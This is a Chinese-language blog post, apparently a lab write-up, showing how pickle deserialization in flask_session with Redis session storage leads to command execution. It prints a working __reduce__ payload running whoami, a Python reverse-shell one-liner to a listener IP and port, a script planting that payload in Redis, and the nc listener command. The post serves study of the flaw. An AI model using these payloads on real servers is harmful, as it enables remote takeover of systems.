资讯专栏INFORMATION COLUMN

Python反序列化安全问题

Amos / 517人阅读

摘要:反序列化安全问题一这一段时间使用做开发,使用了存储,阅读了源码,发现在存储到过程中,利用了模块进行序列化以及反序列化正好根据该样例学习一波反序列化相关的安全问题,不足之处请各位表哥指出。

Python 反序列化安全问题(一)
这一段时间使用flask做web开发,使用了redis存储session,阅读了flask_session源码,发现在存储session到redis过程中,利用了cPickle模块进行序列化以及反序列化;正好根据该样例学习一波Python反序列化相关的安全问题,不足之处请各位表哥指出。

一、基础知识讲解 1.1 cPickle模块
Python中主要是用cPickle和pickle,前者是使用C语言实现,速度可达到后者的1000倍,使用范围较广(文档链接)

cPickle可以序列化很多类型的对象,详情见文档。基础语法就是:

import cPickle
a = 1
b = cPickle.dumps(a)
cPickle.loads(b)

文档中需要特别关注的是11.1.5.2,Pickling and unpickling extension types
这一节主要内容就是讲述cPickle序列化以及反序列化扩展类的过程,原文有一句我并没有完全理解意思:

When the Pickler encounters an object of a type it knows nothing about — such as an extension type

初始理解的意思是:当遇到解释器一无所知的扩展类型的时候,但是对于理解的这句话,扩展类型是什么意思?后来想到Python中元类是type,这里extension types应该理解为type类型的class。

class A(): # 旧类
     pass
type(A)

class B(object): # 新类 
     pass
type(B)

所以说这一节主要针对的应该是新类,即 class A(object) 此种写法创建的类(存疑,待补充完善);当序列化以及反序列化的过程中中碰到未知类的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化,该方法可以返回string和tuple类型;问题主要出在tuple类型(后面会细述),通过构造__reduce__可达到命令执行的目的:

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = "whoami"
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

使用上述命令即可执行whoami命令。同时也可以利用该方式反弹shell:

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

然后在10.85.0.76执行nc -lvvp 9001,即可成功获取shell。


1.2 flask_session
因为本次测试主要是依托于flask和redis,所以首先介绍一下flask_session。

flask中默认使用客户端session,如果想要配置服务端session,就需要使用flask_session配合Redis(后面皆以Redis为主)或者其他数据库。flask_session使用Redis存储session的过程(主要使用如下的接口实现,只展示部分代码):

class RedisSessionInterface(SessionInterface):
    serializer = pickle  # 上文模块导入 import cPickle as pickle
    session_class = RedisSession
    
    def open_session(self, app, request):  # 获取session
        ……
        val = self.redis.get(self.key_prefix + sid)
        if val is not None:
            try:
                data = self.serializer.loads(val)  ## 将session值取出后反序列化
                return self.session_class(data, sid=sid)
            except:
                return self.session_class(sid=sid, permanent=self.permanent)
        return self.session_class(sid=sid, permanent=self.permanent)

    def save_session(self, app, session, response):  # 存储session
        ……
        val = self.serializer.dumps(dict(session)) ## 将session值序列化存储到redis
        

上述过程简单说就是:session存取过程存在序列化和反序列化的过程。
session在Redis中以键值对(key,value)的形式存储。假设我们能够操纵Redis中的键值对,将某个key的值设为我们序列化后恶意代码(比如上面反弹shell的代码样例),然后在将自身的cookie设置为该key,在访问网站的时候,服务端会对于根据key查找value并进行反序列化,进而反弹shell。下面对于该想法进行测试


二、 漏洞测试
测试环境:

victim:Ubuntu 14.04、Redis 2.8.4、IP:10.85.0.54

attacker:Win10、IP:10.85.0.76

2.1 构建服务端

此处我用flask编写了一个服务端样例:

import redis
import os
from flask import Flask,session
from flask_session import Session
app = Flask(__name__)
SESSION_TYPE = "redis"
SESSION_PERMANENT = False
SESSION_USE_SIGNER = False
SESSION_KEY_PREFIX = "session"
SESSION_REDIS = redis.Redis(host="127.0.0.1",port="6379")
SESSION_COOKIE_HTTPONLY = True
PERMANENT_SESSION_LIFETIME = 604800  # 7 days
app.config.from_object(__name__)
Session(app)


@app.route("/")
def hello_world():
    session["name"]="test"
    return "Hello World!"

if __name__ == "__main__":
    app.run(host="0.0.0.0")

将上述代码保存为app.py,第三方库安装完毕后,在服务器上运行

python app.py

即可在5000端口启动简单的服务端,访问如图所示,红框中是我们的sid,也是服务端查找session内容的key(因为设置了前缀,所以redis中key应该是session+sid):

2.2 更改session

此时如果说我们将value设置为恶意代码会怎么样?

import cPickle
import os
import redis
class A(object):
    def __reduce__(self):
        a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
r = redis.Redis(host="127.0.0.1",port=6379)
r.set("此处为"session"和你的sid拼接",result)

运行上述代码后,我们可以发现我们的session内容变成下图所示内容:

2.3 反弹shell

此时在attacker监听9001端口:

nc -lvvp 9001

然后刷新浏览器中访问页面,发现成功反弹shell:


三、emmmm

目前很多Python的Web应用都用Redis等NoSQL进行session存储,当攻击者有机会去操纵服务端的session的时候(比如Redis未授权访问),配合反序列化漏洞即可执行命令。上述提到的两个库cPickle和pickle,两个库实现的功能基本相似,后面会对于Python实现的pickle库进行分析为何会出现命令执行的漏洞。

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/41357.html

相关文章

  • Python 列化安全问题(二)

    摘要:读取新的一行作为模块名,读取下一行作为对象名,然后将压入到堆栈中。读取字符串进行处理之后压入堆栈。将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。调用结束反序列化。 python pickle允许类定义__reduce__方法来声明如何进行序列化。其返回字符串或者tuple,前者可能代表着一个python的全局变量的名称,后者则是描...

    zhoutk 评论0 收藏0
  • Python 列化安全问题(二)

    摘要:读取新的一行作为模块名,读取下一行作为对象名,然后将压入到堆栈中。读取字符串进行处理之后压入堆栈。将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。调用结束反序列化。 python pickle允许类定义__reduce__方法来声明如何进行序列化。其返回字符串或者tuple,前者可能代表着一个python的全局变量的名称,后者则是描...

    idealcn 评论0 收藏0
  • TensorFlow 删除 YAML 支持,建议 JSON 作为替补方案!

    摘要:据公告称,和的包装库使用了不安全的函数来反序列化编码的机器学习模型。简单来看,序列化将对象转换为字节流。据悉,本次漏洞影响与版本,的到版本均受影响。作为解决方案,在宣布弃用之后,团队建议开发者以替代序列化,或使用序列化作为替代。 ...

    BlackFlagBin 评论0 收藏0
  • Python 中的 10 个常见安全漏洞,以及如何避免(下)

    摘要:在考虑安全性时,你需要考虑如何避免被滥用,也不例外,即使在标准库中,也存在用于编写应用的不良实践。修复使用替换标准库模块,它增加了针对这些类型攻击的安全防护。但这却是中最大的安全漏洞之一。 简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而...

    PiscesYE 评论0 收藏0
  • python基础教程:列化

    摘要:默认情况下,它也是不安全的,如果数据是由黑客精心设计的,则反序列化的数据可能被植入恶意代码。总结为我们提供了数据序列化的工具。如果是自己内部使用,可以作为一个选择进行复杂对象的序列化。 上一节我们学习了文件的读写,把一个字符串(或字节对象)保存到磁盘是一件很容易的事情。但是在实际编程中,我们经常需要保存结构化数据,比如复杂的字典、嵌套的列表等等,这时候就需要我们想办法把这些结构化数据先...

    gityuan 评论0 收藏0

发表评论

0条评论

阅读需要支付1元查看
<